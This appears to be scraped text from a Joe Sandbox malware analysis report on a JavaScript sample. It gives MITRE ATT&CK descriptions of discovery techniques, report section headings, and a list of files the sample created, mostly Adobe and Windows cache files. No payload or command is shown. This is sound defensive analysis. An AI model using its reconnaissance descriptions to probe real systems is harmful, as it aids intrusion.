Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23858205001607627322.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eb0df5ca-50fc-4cee-ae6e-5772e116ed02.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7928

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7928

Windows Analysis Report
23858205001607627322.js